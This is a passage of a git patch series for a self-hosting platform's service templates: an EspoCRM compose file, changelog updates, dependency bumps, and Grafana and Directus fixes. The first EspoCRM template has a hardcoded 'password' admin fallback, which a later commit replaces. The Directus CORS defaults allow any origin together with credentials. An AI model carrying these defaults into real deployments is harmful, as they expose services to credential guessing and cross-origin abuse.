templates/compose/espocrm.yaml | 75 +++++++++++++++++++++++++++++++
2 files changed, 157 insertions(+)
create mode 100644 public/svgs/espocrm.svg
create mode 100644 templates/compose/espocrm.yaml
diff --git a/public/svgs/espocrm.svg b/public/svgs/espocrm.svg
new file mode 100644
index 000000000..79d96f8c3
--- /dev/null
+++ b/public/svgs/espocrm.svg
@@ -0,0 +1,82 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
diff --git a/templates/compose/espocrm.yaml b/templates/compose/espocrm.yaml
new file mode 100644
index 000000000..d771e0f53
--- /dev/null
+++ b/templates/compose/espocrm.yaml
@@ -0,0 +1,75 @@
+# documentation: https://docs.espocrm.com
+# slogan: EspoCRM is a free and open-source CRM platform.
+# category: cms
+# tags: crm, self-hosted, open-source, workflow, automation, project management
+# logo: svgs/espocrm.svg
+# port: 80
+
+services:
+ espocrm:
+ image: espocrm/espocrm:latest
+ environment:
+ - SERVICE_URL_ESPOCRM
+ - ESPOCRM_ADMIN_USERNAME=${ESPOCRM_ADMIN_USERNAME:-admin}
+ - ESPOCRM_ADMIN_PASSWORD=${ESPOCRM_ADMIN_PASSWORD:-password}
+ - ESPOCRM_DATABASE_PLATFORM=Mysql
+ - ESPOCRM_DATABASE_HOST=espocrm-db
+ - ESPOCRM_DATABASE_NAME=${MARIADB_DATABASE:-espocrm}
+ - ESPOCRM_DATABASE_USER=${SERVICE_USER_MARIADB}
+ - ESPOCRM_DATABASE_PASSWORD=${SERVICE_PASSWORD_MARIADB}
+ - ESPOCRM_SITE_URL=${SERVICE_URL_ESPOCRM}
+ volumes:
+ - espocrm:/var/www/html
+ healthcheck:
+ test: ["CMD", "curl", "-f", "http://127.0.0.1:80"]
+ interval: 2s
+ start_period: 60s
+ timeout: 10s
+ retries: 15
+ depends_on:
+ espocrm-db:
+ condition: service_healthy
+
+ espocrm-daemon:
+ image: espocrm/espocrm:latest
+ container_name: espocrm-daemon
+ volumes:
+ - espocrm:/var/www/html
+ restart: always
+ entrypoint: docker-daemon.sh
+ depends_on:
+ espocrm:
+ condition: service_healthy
+
+ espocrm-websocket:
+ image: espocrm/espocrm:latest
+ container_name: espocrm-websocket
+ environment:
+ - SERVICE_URL_ESPOCRM_WEBSOCKET_8080
+ - ESPOCRM_CONFIG_USE_WEB_SOCKET=true
+ - ESPOCRM_CONFIG_WEB_SOCKET_URL=$SERVICE_URL_ESPOCRM_WEBSOCKET
+ - ESPOCRM_CONFIG_WEB_SOCKET_ZERO_M_Q_SUBSCRIBER_DSN=tcp://*:7777
+ - ESPOCRM_CONFIG_WEB_SOCKET_ZERO_M_Q_SUBMISSION_DSN=tcp://espocrm-websocket:7777
+ volumes:
+ - espocrm:/var/www/html
+ restart: always
+ entrypoint: docker-websocket.sh
+ depends_on:
+ espocrm:
+ condition: service_healthy
+
+ espocrm-db:
+ image: mariadb:latest
+ environment:
+ - MARIADB_DATABASE=${MARIADB_DATABASE:-espocrm}
+ - MARIADB_USER=${SERVICE_USER_MARIADB}
+ - MARIADB_PASSWORD=${SERVICE_PASSWORD_MARIADB}
+ - MARIADB_ROOT_PASSWORD=${SERVICE_PASSWORD_ROOT}
+ volumes:
+ - espocrm-db:/var/lib/mysql
+ healthcheck:
+ test: ["CMD", "healthcheck.sh", "--connect", "--innodb_initialized"]
+ interval: 20s
+ start_period: 10s
+ timeout: 10s
+ retries: 3
From a2540bd23326b92f35caa797392c97a0a7c0dd51 Mon Sep 17 00:00:00 2001
From: Taras Machyshyn
Date: Fri, 27 Feb 2026 20:42:20 +0200
Subject: [PATCH 023/168] Admin password
---
templates/compose/espocrm.yaml | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/templates/compose/espocrm.yaml b/templates/compose/espocrm.yaml
index d771e0f53..130562a78 100644
--- a/templates/compose/espocrm.yaml
+++ b/templates/compose/espocrm.yaml
@@ -11,7 +11,7 @@ services:
environment:
- SERVICE_URL_ESPOCRM
- ESPOCRM_ADMIN_USERNAME=${ESPOCRM_ADMIN_USERNAME:-admin}
- - ESPOCRM_ADMIN_PASSWORD=${ESPOCRM_ADMIN_PASSWORD:-password}
+ - ESPOCRM_ADMIN_PASSWORD=${SERVICE_PASSWORD_ADMIN}
- ESPOCRM_DATABASE_PLATFORM=Mysql
- ESPOCRM_DATABASE_HOST=espocrm-db
- ESPOCRM_DATABASE_NAME=${MARIADB_DATABASE:-espocrm}
From 769365713079bc12399751cd94d2fa1c88b456e3 Mon Sep 17 00:00:00 2001
From: "github-actions[bot]"
Date: Sun, 15 Mar 2026 17:04:45 +0000
Subject: [PATCH 024/168] docs: update changelog
---
CHANGELOG.md | 242 +++++++++++++++++++++++++++++++++++++++++++++++++++
1 file changed, 242 insertions(+)
diff --git a/CHANGELOG.md b/CHANGELOG.md
index 026dec470..45cbd48d2 100644
--- a/CHANGELOG.md
+++ b/CHANGELOG.md
@@ -1225,6 +1225,66 @@ ### 🚀 Features
- *(service)* Disable maybe (#8167)
- *(service)* Add sure
- *(service)* Add sure (#8157)
+- *(docker)* Install PHP sockets extension in development environment
+- *(services)* Add Spacebot service with custom logo support (#8427)
+- Expose scheduled tasks to API
+- *(api)* Add OpenAPI for managing scheduled tasks for applications and services
+- *(api)* Add delete endpoints for scheduled tasks in applications and services
+- *(api)* Add update endpoints for scheduled tasks in applications and services
+- *(api)* Add scheduled tasks CRUD API with auth and validation (#8428)
+- *(monitoring)* Add scheduled job monitoring dashboard (#8433)
+- *(service)* Disable plane
+- *(service)* Disable plane (#8580)
+- *(service)* Disable pterodactyl panel and pterodactyl wings
+- *(service)* Disable pterodactyl panel and pterodactyl wings (#8512)
+- *(service)* Upgrade beszel and beszel-agent to v0.18
+- *(service)* Upgrade beszel and beszel-agent to v0.18 (#8513)
+- Add command healthcheck type
+- Require health check command for 'cmd' type with backend validation and frontend update
+- *(healthchecks)* Add command health checks with input validation
+- *(healthcheck)* Add command-based health check support (#8612)
+- *(jobs)* Optimize async job dispatches and enhance Stripe subscription sync
+- *(jobs)* Add queue delay resilience to scheduled job execution
+- *(scheduler)* Add pagination to skipped jobs and filter manager start events
+- Add comment field to environment variables
+- Limit comment field to 256 characters for environment variables
+- Enhance environment variable handling to support mixed formats and add comprehensive tests
+- Add comment field to shared environment variables
+- Show comment field for locked environment variables
+- Add function to extract inline comments from docker-compose YAML environment variables
+- Add magic variable detection and update UI behavior accordingly
+- Add comprehensive environment variable parsing with nested resolution and hardcoded variable detection
+- *(models)* Add is_required to EnvironmentVariable fillable array
+- Add comment field to environment variables (#7269)
+- *(service)* Pydio-cells.yml
+- Pydio cells svg
+- Pydio-cells.yml pin to stable version
+- *(service)* Add Pydio cells (#8323)
+- *(service)* Disable minio community edition
+- *(service)* Disable minio community edition (#8686)
+- *(subscription)* Add Stripe server limit quantity adjustment flow
+- *(subscription)* Add refunds and cancellation management (#8637)
+- Add configurable timeout for public database TCP proxy
+- Add configurable proxy timeout for public database TCP proxy (#8673)
+- *(jobs)* Implement encrypted queue jobs
+- *(proxy)* Add database-backed config storage with disk backups
+- *(proxy)* Add database-backed config storage with disk backups (#8905)
+- *(livewire)* Add selectedActions parameter and error handling to delete methods
+- *(gitlab)* Add GitLab source integration with SSH and HTTP basic auth
+- *(git-sources)* Add GitLab integration and URL encode credentials (#8910)
+- *(server)* Add server metadata collection and display
+- *(git-import)* Support custom ssh command for fetch, submodule, and lfs
+- *(ui)* Add log filter based on log level
+- *(ui)* Add log filter based on log level (#8784)
+- *(seeders)* Add GitHub deploy key example application
+- *(service)* Update n8n-with-postgres-and-worker to 2.10.4 (#8807)
+- *(service)* Add container label escape control to services API
+- *(server)* Allow force deletion of servers with resources
+- *(server)* Allow force deletion of servers with resources (#8962)
+- *(compose-preview)* Populate fqdn from docker_compose_domains
+- *(compose-preview)* Populate fqdn from docker_compose_domains (#8963)
+- *(server)* Auto-fetch server metadata after validation
+- *(server)* Auto-fetch server metadata after validation (#8964)
### 🐛 Bug Fixes
@@ -4517,6 +4577,110 @@ ### 🐛 Bug Fixes
- *(server)* Improve IP uniqueness validation with team-specific error messages
- *(service)* Glitchtip webdashboard doesn't load
- *(service)* Glitchtip webdashboard doesn't load (#8249)
+- *(api)* Improve scheduled tasks API with auth, validation, and execution endpoints
+- *(api)* Improve scheduled tasks validation and delete logic
+- *(security)* Harden deployment paths and deploy abilities (#8549)
+- *(service)* Always enable force https labels
+- *(traefik)* Respect force https in service labels (#8550)
+- *(team)* Include webhook notifications in enabled check (#8557)
+- *(service)* Resolve team lookup via service relationship
+- *(service)* Resolve team lookup via service relationship (#8559)
+- *(database)* Chown redis/keydb configs when custom conf set (#8561)
+- *(version)* Update coolify version to 4.0.0-beta.464 and nightly version to 4.0.0-beta.465
+- *(applications)* Treat zero private_key_id as deploy key (#8563)
+- *(deploy)* Split BuildKit and secrets detection (#8565)
+- *(auth)* Prevent CSRF redirect loop during 2FA challenge (#8596)
+- *(input)* Prevent eye icon flash on password fields before Alpine.js loads (#8599)
+- *(api)* Correct permission requirements for POST endpoints (#8600)
+- *(health-checks)* Prevent command injection in health check commands (#8611)
+- *(auth)* Prevent cross-tenant IDOR in resource cloning (#8613)
+- *(docker)* Centralize command escaping in executeInDocker helper (#8615)
+- *(api)* Add team authorization to domains_by_server endpoint (#8616)
+- *(ca-cert)* Prevent command injection via base64 encoding (#8617)
+- *(scheduler)* Add self-healing for stale Redis locks and detection in UI (#8618)
+- *(health-checks)* Sanitize and validate CMD healthcheck commands
+- *(healthchecks)* Remove redundant newline sanitization from CMD healthcheck
+- *(soketi)* Make host binding configurable for IPv6 support (#8619)
+- *(ssh)* Automatically fix SSH directory permissions during upgrade (#8635)
+- *(jobs)* Prevent non-due jobs firing on restart and enrich skip logs with resource links
+- *(database)* Close confirmation modal after import/restore
+- Application rollback uses correct commit sha
+- *(rollback)* Escape commit SHA to prevent shell injection
+- Save comment field when creating application environment variables
+- Allow editing comments on locked environment variables
+- Add Update button for locked environment variable comments
+- Remove duplicate delete button from locked environment variable view
+- Position Update button next to comment field for locked variables
+- Preserve existing comments in bulk update and always show save notification
+- Update success message logic to only show when changes are made
+- *(bootstrap)* Add bounds check to extractBalancedBraceContent
+- Pydio-cells svg path typo
+- *(database)* Handle PDO constant name change for PGSQL_ATTR_DISABLE_PREPARES
+- *(proxy)* Handle IPv6 CIDR notation in Docker network gateways (#8703)
+- *(ssh)* Prevent RCE via SSH command injection (#8748)
+- *(service)* Cloudreve doesn't persist data across restarts
+- *(service)* Cloudreve doesn't persist data across restarts (#8740)
+- Join link should be set correctly in the env variables
+- *(service)* Ente photos join link doesn't work (#8727)
+- *(subscription)* Harden quantity updates and proxy trust behavior
+- *(auth)* Resolve 419 session errors with domain-based access and Cloudflare Tunnels (#8749)
+- *(server)* Handle limit edge case and IPv6 allowlist dedupe
+- *(server-limit)* Re-enable force-disabled servers at limit
+- *(ip-allowlist)* Add IPv6 CIDR support for API access restrictions (#8750)
+- *(proxy)* Remove ipv6 cidr network remediation
+- Address review feedback on proxy timeout
+- *(proxy)* Add validation and normalization for database proxy timeout
+- *(proxy)* Mounting error for nginx.conf in dev
+- Enable preview deployment page for deploy key applications
+- *(application-source)* Support localhost key with id=0
+- Enable preview deployment page for deploy key applications (#8579)
+- *(docker-compose)* Respect preserveRepository setting when executing start command (#8848)
+- *(proxy)* Mounting error for nginx.conf in dev (#8662)
+- *(database)* Close confirmation modal after database import/restore (#8697)
+- *(subscription)* Use optional chaining for preview object access
+- *(parser)* Use firstOrCreate instead of updateOrCreate for environment variables
+- *(env-parser)* Capture clean variable names without trailing braces in bash-style defaults (#8855)
+- *(terminal)* Resolve WebSocket connection and host authorization issues (#8862)
+- *(docker-cleanup)* Respect keep for rollback setting for Nixpacks build images (#8859)
+- *(push-server)* Track last_online_at and reset database restart state
+- *(docker)* Prevent false container exits on failed docker queries (#8860)
+- *(api)* Require write permission for validation endpoints
+- *(sentinel)* Add token validation to prevent command injection
+- *(log-drain)* Prevent command injection by base64-encoding environment variables
+- *(git-ref-validation)* Prevent command injection via git references
+- *(docker)* Add path validation to prevent command injection in file locations
+- Prevent command injection and fix developer view shared variables error (#8889)
+- Build-time environment variables break Next.js (#8890)
+- *(modal)* Make confirmation modal close after dispatching Livewire actions (#8892)
+- *(parser)* Preserve user-saved env vars on Docker Compose redeploy (#8894)
+- *(security)* Sanitize newlines in health check commands to prevent RCE (#8898)
+- Prevent scheduled task input fields from losing focus
+- Prevent scheduled task input fields from losing focus (#8654)
+- *(api)* Add docker_cleanup parameter to stop endpoints
+- *(api)* Add docker_cleanup parameter to stop endpoints (#8899)
+- *(deployment)* Filter null and empty environment variables from nixpacks plan
+- *(deployment)* Filter null and empty environment variables from nixpacks plan (#8902)
+- *(livewire)* Add error handling and selectedActions to delete methods (#8909)
+- *(parsers)* Use firstOrCreate instead of updateOrCreate for environment variables
+- *(parsers)* Use firstOrCreate instead of updateOrCreate for environment variables (#8915)
+- *(ssh)* Remove undefined trackSshRetryEvent() method call (#8927)
+- *(validation)* Support scoped packages in file path validation (#8928)
+- *(parsers)* Resolve shared variables in compose environment
+- *(parsers)* Resolve shared variables in compose environment (#8930)
+- *(api)* Cast teamId to int in deployment authorization check
+- *(api)* Cast teamId to int in deployment authorization check (#8931)
+- *(git-import)* Ensure ssh key is used for fetch, submodule, and lfs operations (#8933)
+- *(ui)* Info logs were not highlighted with blue color
+- *(application)* Clarify deployment type precedence logic
+- *(git-import)* Explicitly specify ssh key and remove duplicate validation rules
+- *(application)* Clarify deployment type precedence logic (#8934)
+- *(git)* GitHub App webhook endpoint defaults to IPv4 instead of the instance domain
+- *(git)* GitHub App webhook endpoint defaults to IPv4 instead of the instance domain (#8948)
+- *(service)* Hoppscotch fails to start due to db unhealthy
+- *(service)* Hoppscotch fails to start due to db unhealthy (#8949)
+- *(api)* Allow is_container_label_escape_enabled in service operations (#8955)
+- *(docker-compose)* Respect preserveRepository when injecting --project-directory
+- *(docker-compose)* Respect preserveRepository when injecting --project-directory (#8956)
### 💼 Other
@@ -4982,6 +5146,11 @@ ### 💼 Other
- Bump superset to 6.0.0
- Trim whitespace from domain input in instance settings (#7837)
- Upgrade postgres client to fix build error
+- Application rollback uses correct commit sha (#8576)
+- *(deps)* Bump rollup from 4.57.1 to 4.59.0
+- *(deps)* Bump rollup from 4.57.1 to 4.59.0 (#8691)
+- *(deps)* Bump league/commonmark from 2.8.0 to 2.8.1
+- *(deps)* Bump league/commonmark from 2.8.0 to 2.8.1 (#8793)
### 🚜 Refactor
@@ -5610,6 +5779,12 @@ ### 🚜 Refactor
- *(services)* Improve some service slogans
- *(ssh-retry)* Remove Sentry tracking from retry logic
- *(ssh-retry)* Remove Sentry tracking from retry logic
+- *(jobs)* Split task skip checks into critical and runtime phases
+- Add explicit fillable array to EnvironmentVariable model
+- Replace inline note with callout component for consistency
+- *(application-source)* Use Laravel helpers for null checks
+- *(ssh)* Remove Sentry retry event tracking from ExecuteRemoteCommand
+- Consolidate file path validation patterns and support scoped packages
### 📚 Documentation
@@ -5756,6 +5931,12 @@ ### 📚 Documentation
- Add Coolify design system reference (#8237)
- Update changelog
- Update changelog
+- Update changelog
+- *(sponsors)* Add huge sponsors section and reorganize list
+- *(application)* Add comments explaining commit selection logic for rollback support
+- *(readme)* Add VPSDime to Big Sponsors list
+- *(readme)* Move MVPS to Huge Sponsors section
+- *(settings)* Clarify Do Not Track helper text
### ⚡ Performance
@@ -5797,6 +5978,10 @@ ### 🧪 Testing
- Add Pest browser testing with SQLite :memory: schema
- Add dashboard test and improve browser test coverage
- Migrate to SQLite :memory: and add Pest browser testing (#8364)
+- *(rollback)* Use full-length git commit SHA values in test fixtures
+- *(rollback)* Verify shell metacharacter escaping in git commit parameter
+- *(factories)* Add missing model factories for app test suite
+- *(magic-variables)* Add feature tests for SERVICE_URL/FQDN variable handling
### ⚙️ Miscellaneous Tasks
@@ -6533,6 +6718,63 @@ ### ⚙️ Miscellaneous Tasks
- Prepare for PR
- Prepare for PR
- Prepare for PR
+- Prepare for PR
+- Prepare for PR
+- Prepare for PR
+- Prepare for PR
+- Prepare for PR
+- *(scheduler)* Fix scheduled job duration metric (#8551)
+- Prepare for PR
+- Prepare for PR
+- *(horizon)* Make max time configurable (#8560)
+- Prepare for PR
+- Prepare for PR
+- Prepare for PR
+- *(ui)* Widen project heading nav spacing (#8564)
+- Prepare for PR
+- Prepare for PR
+- Prepare for PR
+- Prepare for PR
+- Prepare for PR
+- Prepare for PR
+- Prepare for PR
+- Prepare for PR
+- Prepare for PR
+- Prepare for PR
+- Prepare for PR
+- Add pr quality check workflow
+- Do not build or generate changelog on pr-quality changes
+- Add pr quality check via anti slop action (#8344)
+- Improve pr quality workflow
+- Delete label removal workflow
+- Improve pr quality workflow (#8374)
+- Prepare for PR
+- Prepare for PR
+- Prepare for PR
+- *(repo)* Improve contributor PR template
+- Add anti-slop v0.2 options to the pr-quality check
+- Improve pr template and quality check workflow (#8574)
+- Prepare for PR
+- Prepare for PR
+- Prepare for PR
+- *(ui)* Add labels header
+- *(ui)* Add container labels header (#8752)
+- *(templates)* Update n8n templates to 2.10.2 (#8679)
+- Prepare for PR
+- Prepare for PR
+- Prepare for PR
+- Prepare for PR
+- Prepare for PR
+- *(version)* Bump coolify, realtime, and sentinel versions
+- *(realtime)* Upgrade npm dependencies
+- *(realtime)* Upgrade coolify-realtime to 1.0.11
+- Prepare for PR
+- Prepare for PR
+- Prepare for PR
+- *(release)* Bump version to 4.0.0-beta.466
+- Prepare for PR
+- Prepare for PR
+- *(service)* Pin castopod service to a static version instead of latest
### ◀️ Revert
From c4279a6bcb008a05cb8934c77045e0f5a571a95d Mon Sep 17 00:00:00 2001
From: Taras Machyshyn
Date: Mon, 16 Mar 2026 18:23:47 +0200
Subject: [PATCH 025/168] Define static versions
---
templates/compose/espocrm.yaml | 8 ++++----
1 file changed, 4 insertions(+), 4 deletions(-)
diff --git a/templates/compose/espocrm.yaml b/templates/compose/espocrm.yaml
index 130562a78..6fec260c4 100644
--- a/templates/compose/espocrm.yaml
+++ b/templates/compose/espocrm.yaml
@@ -7,7 +7,7 @@
services:
espocrm:
- image: espocrm/espocrm:latest
+ image: espocrm/espocrm:9
environment:
- SERVICE_URL_ESPOCRM
- ESPOCRM_ADMIN_USERNAME=${ESPOCRM_ADMIN_USERNAME:-admin}
@@ -31,7 +31,7 @@ services:
condition: service_healthy
espocrm-daemon:
- image: espocrm/espocrm:latest
+ image: espocrm/espocrm:9
container_name: espocrm-daemon
volumes:
- espocrm:/var/www/html
@@ -42,7 +42,7 @@ services:
condition: service_healthy
espocrm-websocket:
- image: espocrm/espocrm:latest
+ image: espocrm/espocrm:9
container_name: espocrm-websocket
environment:
- SERVICE_URL_ESPOCRM_WEBSOCKET_8080
@@ -59,7 +59,7 @@ services:
condition: service_healthy
espocrm-db:
- image: mariadb:latest
+ image: mariadb:11.8
environment:
- MARIADB_DATABASE=${MARIADB_DATABASE:-espocrm}
- MARIADB_USER=${SERVICE_USER_MARIADB}
From 82b4a2b6b00e1672aabc3491ec6a614062dd3067 Mon Sep 17 00:00:00 2001
From: "github-actions[bot]"
Date: Mon, 16 Mar 2026 16:51:52 +0000
Subject: [PATCH 026/168] docs: update changelog
---
CHANGELOG.md | 11 +++++++++++
1 file changed, 11 insertions(+)
diff --git a/CHANGELOG.md b/CHANGELOG.md
index 45cbd48d2..999af79b8 100644
--- a/CHANGELOG.md
+++ b/CHANGELOG.md
@@ -1285,6 +1285,9 @@ ### 🚀 Features
- *(compose-preview)* Populate fqdn from docker_compose_domains (#8963)
- *(server)* Auto-fetch server metadata after validation
- *(server)* Auto-fetch server metadata after validation (#8964)
+- *(templates)* Add imgcompress service, for offline image processing (#8763)
+- *(service)* Add librespeed (#8626)
+- *(service)* Update databasus to v3.16.2 (#8586)
### 🐛 Bug Fixes
@@ -4681,6 +4684,9 @@ ### 🐛 Bug Fixes
- *(api)* Allow is_container_label_escape_enabled in service operations (#8955)
- *(docker-compose)* Respect preserveRepository when injecting --project-directory
- *(docker-compose)* Respect preserveRepository when injecting --project-directory (#8956)
+- *(compose)* Include git branch in compose file not found error
+- *(template)* Fix heyform template
+- *(template)* Fix heyform template (#8747)
### 💼 Other
@@ -5937,6 +5943,7 @@ ### 📚 Documentation
- *(readme)* Add VPSDime to Big Sponsors list
- *(readme)* Move MVPS to Huge Sponsors section
- *(settings)* Clarify Do Not Track helper text
+- Update changelog
### ⚡ Performance
@@ -6775,6 +6782,10 @@ ### ⚙️ Miscellaneous Tasks
- Prepare for PR
- Prepare for PR
- *(service)* Pin castopod service to a static version instead of latest
+- *(service)* Remove unused attributes on imgcompress service
+- *(service)* Pin imgcompress to a static version instead of latest
+- *(service)* Update SeaweedFS images to version 4.13 (#8738)
+- *(templates)* Bump databasus image version
### ◀️ Revert
From 0627dce4da77e6165d780cf61773243cfa9ad60c Mon Sep 17 00:00:00 2001
From: "dependabot[bot]" <49699333+dependabot[bot]@users.noreply.github.com>
Date: Thu, 19 Mar 2026 17:15:02 +0000
Subject: [PATCH 027/168] build(deps): bump phpseclib/phpseclib from 3.0.49 to
3.0.50
Bumps [phpseclib/phpseclib](https://github.com/phpseclib/phpseclib) from 3.0.49 to 3.0.50.
- [Release notes](https://github.com/phpseclib/phpseclib/releases)
- [Changelog](https://github.com/phpseclib/phpseclib/blob/master/CHANGELOG.md)
- [Commits](https://github.com/phpseclib/phpseclib/compare/3.0.49...3.0.50)
---
updated-dependencies:
- dependency-name: phpseclib/phpseclib
dependency-version: 3.0.50
dependency-type: direct:production
...
Signed-off-by: dependabot[bot]
---
composer.lock | 12 ++++++------
1 file changed, 6 insertions(+), 6 deletions(-)
diff --git a/composer.lock b/composer.lock
index 993835a42..3b1f4eded 100644
--- a/composer.lock
+++ b/composer.lock
@@ -5061,16 +5061,16 @@
},
{
"name": "phpseclib/phpseclib",
- "version": "3.0.49",
+ "version": "3.0.50",
"source": {
"type": "git",
"url": "https://github.com/phpseclib/phpseclib.git",
- "reference": "6233a1e12584754e6b5daa69fe1289b47775c1b9"
+ "reference": "aa6ad8321ed103dc3624fb600a25b66ebf78ec7b"
},
"dist": {
"type": "zip",
- "url": "https://api.github.com/repos/phpseclib/phpseclib/zipball/6233a1e12584754e6b5daa69fe1289b47775c1b9",
- "reference": "6233a1e12584754e6b5daa69fe1289b47775c1b9",
+ "url": "https://api.github.com/repos/phpseclib/phpseclib/zipball/aa6ad8321ed103dc3624fb600a25b66ebf78ec7b",
+ "reference": "aa6ad8321ed103dc3624fb600a25b66ebf78ec7b",
"shasum": ""
},
"require": {
@@ -5151,7 +5151,7 @@
],
"support": {
"issues": "https://github.com/phpseclib/phpseclib/issues",
- "source": "https://github.com/phpseclib/phpseclib/tree/3.0.49"
+ "source": "https://github.com/phpseclib/phpseclib/tree/3.0.50"
},
"funding": [
{
@@ -5167,7 +5167,7 @@
"type": "tidelift"
}
],
- "time": "2026-01-27T09:17:28+00:00"
+ "time": "2026-03-19T02:57:58+00:00"
},
{
"name": "phpstan/phpdoc-parser",
From a7f07f66e3adf808f95c4ab5eed320bd640df462 Mon Sep 17 00:00:00 2001
From: "dependabot[bot]" <49699333+dependabot[bot]@users.noreply.github.com>
Date: Thu, 19 Mar 2026 22:50:11 +0000
Subject: [PATCH 028/168] build(deps): bump league/commonmark from 2.8.1 to
2.8.2
Bumps [league/commonmark](https://github.com/thephpleague/commonmark) from 2.8.1 to 2.8.2.
- [Release notes](https://github.com/thephpleague/commonmark/releases)
- [Changelog](https://github.com/thephpleague/commonmark/blob/2.8/CHANGELOG.md)
- [Commits](https://github.com/thephpleague/commonmark/compare/2.8.1...2.8.2)
---
updated-dependencies:
- dependency-name: league/commonmark
dependency-version: 2.8.2
dependency-type: indirect
...
Signed-off-by: dependabot[bot]
---
composer.lock | 10 +++++-----
1 file changed, 5 insertions(+), 5 deletions(-)
diff --git a/composer.lock b/composer.lock
index 993835a42..534b418fe 100644
--- a/composer.lock
+++ b/composer.lock
@@ -2663,16 +2663,16 @@
},
{
"name": "league/commonmark",
- "version": "2.8.1",
+ "version": "2.8.2",
"source": {
"type": "git",
"url": "https://github.com/thephpleague/commonmark.git",
- "reference": "84b1ca48347efdbe775426f108622a42735a6579"
+ "reference": "59fb075d2101740c337c7216e3f32b36c204218b"
},
"dist": {
"type": "zip",
- "url": "https://api.github.com/repos/thephpleague/commonmark/zipball/84b1ca48347efdbe775426f108622a42735a6579",
- "reference": "84b1ca48347efdbe775426f108622a42735a6579",
+ "url": "https://api.github.com/repos/thephpleague/commonmark/zipball/59fb075d2101740c337c7216e3f32b36c204218b",
+ "reference": "59fb075d2101740c337c7216e3f32b36c204218b",
"shasum": ""
},
"require": {
@@ -2766,7 +2766,7 @@
"type": "tidelift"
}
],
- "time": "2026-03-05T21:37:03+00:00"
+ "time": "2026-03-19T13:16:38+00:00"
},
{
"name": "league/config",
From 95351eba8939d321e26139fa0636693730fe1e69 Mon Sep 17 00:00:00 2001
From: Xidik
Date: Sun, 22 Mar 2026 22:04:22 +0700
Subject: [PATCH 029/168] fix(service): use FQDN instead of URL for Grafana
GF_SERVER_DOMAIN
GF_SERVER_DOMAIN expects a bare hostname (e.g. grafana.example.com) but
was set to SERVICE_URL_GRAFANA which includes the protocol
(https://grafana.example.com). This mismatch can cause Grafana to fail
to load its application files when deployed behind Coolify's proxy.
Changed to SERVICE_FQDN_GRAFANA which provides just the hostname. Applied
the fix to both grafana.yaml and grafana-with-postgresql.yaml templates.
Fixes #5307
---
templates/compose/grafana-with-postgresql.yaml | 2 +-
templates/compose/grafana.yaml | 2 +-
2 files changed, 2 insertions(+), 2 deletions(-)
diff --git a/templates/compose/grafana-with-postgresql.yaml b/templates/compose/grafana-with-postgresql.yaml
index 25add4cc2..6c5dda659 100644
--- a/templates/compose/grafana-with-postgresql.yaml
+++ b/templates/compose/grafana-with-postgresql.yaml
@@ -11,7 +11,7 @@ services:
environment:
- SERVICE_URL_GRAFANA_3000
- GF_SERVER_ROOT_URL=${SERVICE_URL_GRAFANA}
- - GF_SERVER_DOMAIN=${SERVICE_URL_GRAFANA}
+ - GF_SERVER_DOMAIN=${SERVICE_FQDN_GRAFANA}
- GF_SECURITY_ADMIN_PASSWORD=${SERVICE_PASSWORD_GRAFANA}
- GF_DATABASE_TYPE=postgres
- GF_DATABASE_HOST=postgresql
diff --git a/templates/compose/grafana.yaml b/templates/compose/grafana.yaml
index a570c6c79..ed1689f58 100644
--- a/templates/compose/grafana.yaml
+++ b/templates/compose/grafana.yaml
@@ -11,7 +11,7 @@ services:
environment:
- SERVICE_URL_GRAFANA_3000
- GF_SERVER_ROOT_URL=${SERVICE_URL_GRAFANA}
- - GF_SERVER_DOMAIN=${SERVICE_URL_GRAFANA}
+ - GF_SERVER_DOMAIN=${SERVICE_FQDN_GRAFANA}
- GF_SECURITY_ADMIN_PASSWORD=${SERVICE_PASSWORD_GRAFANA}
volumes:
- grafana-data:/var/lib/grafana
From 9ca65313eab1a6391b9b30a8d4a3cbf83b407e61 Mon Sep 17 00:00:00 2001
From: Xidik
Date: Sun, 22 Mar 2026 22:06:48 +0700
Subject: [PATCH 030/168] fix(service): add CORS defaults to Directus templates
The Directus service templates were missing CORS configuration, causing
preflight OPTIONS requests to fail when connecting from frontend apps.
Users had to manually edit the compose file to add CORS variables.
Add sensible CORS defaults (enabled with dynamic origin matching) to
both directus.yaml and directus-with-postgresql.yaml templates. All
values are user-overridable via the Coolify UI.
Fixes #5024
---
templates/compose/directus-with-postgresql.yaml | 5 +++++
templates/compose/directus.yaml | 5 +++++
2 files changed, 10 insertions(+)
diff --git a/templates/compose/directus-with-postgresql.yaml b/templates/compose/directus-with-postgresql.yaml
index c35e411fd..3aaa8f139 100644
--- a/templates/compose/directus-with-postgresql.yaml
+++ b/templates/compose/directus-with-postgresql.yaml
@@ -27,6 +27,11 @@ services:
- REDIS_HOST=redis
- REDIS_PORT=6379
- WEBSOCKETS_ENABLED=true
+ - CORS_ENABLED=${CORS_ENABLED:-true}
+ - CORS_ORIGIN=${CORS_ORIGIN:-true}
+ - CORS_METHODS=${CORS_METHODS:-GET,POST,PATCH,DELETE,OPTIONS}
+ - CORS_ALLOWED_HEADERS=${CORS_ALLOWED_HEADERS:-Content-Type,Authorization}
+ - CORS_CREDENTIALS=${CORS_CREDENTIALS:-true}
healthcheck:
test: ["CMD", "wget", "-q", "--spider", "http://127.0.0.1:8055/admin/login"]
interval: 5s
diff --git a/templates/compose/directus.yaml b/templates/compose/directus.yaml
index 36589c72a..5c02ab1a3 100644
--- a/templates/compose/directus.yaml
+++ b/templates/compose/directus.yaml
@@ -22,6 +22,11 @@ services:
- DB_CLIENT=sqlite3
- DB_FILENAME=/directus/database/data.db
- WEBSOCKETS_ENABLED=true
+ - CORS_ENABLED=${CORS_ENABLED:-true}
+ - CORS_ORIGIN=${CORS_ORIGIN:-true}
+ - CORS_METHODS=${CORS_METHODS:-GET,POST,PATCH,DELETE,OPTIONS}
+ - CORS_ALLOWED_HEADERS=${CORS_ALLOWED_HEADERS:-Content-Type,Authorization}
+ - CORS_CREDENTIALS=${CORS_CREDENTIALS:-true}
healthcheck:
test:
["CMD", "wget", "-q", "--spider", "http://127.0.0.1:8055/admin/login"]
From 820ee1c03cbadcf5a5e269be7a37e8a71d5e2022 Mon Sep 17 00:00:00 2001
From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com>
Date: Mon, 23 Mar 2026 10:34:58 +0100
Subject: [PATCH 031/168] docs(sponsors): update Brand.dev to Context.dev
---
README.md | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/README.md b/README.md
index b7aefe16a..73af2a18c 100644
--- a/README.md
+++ b/README.md
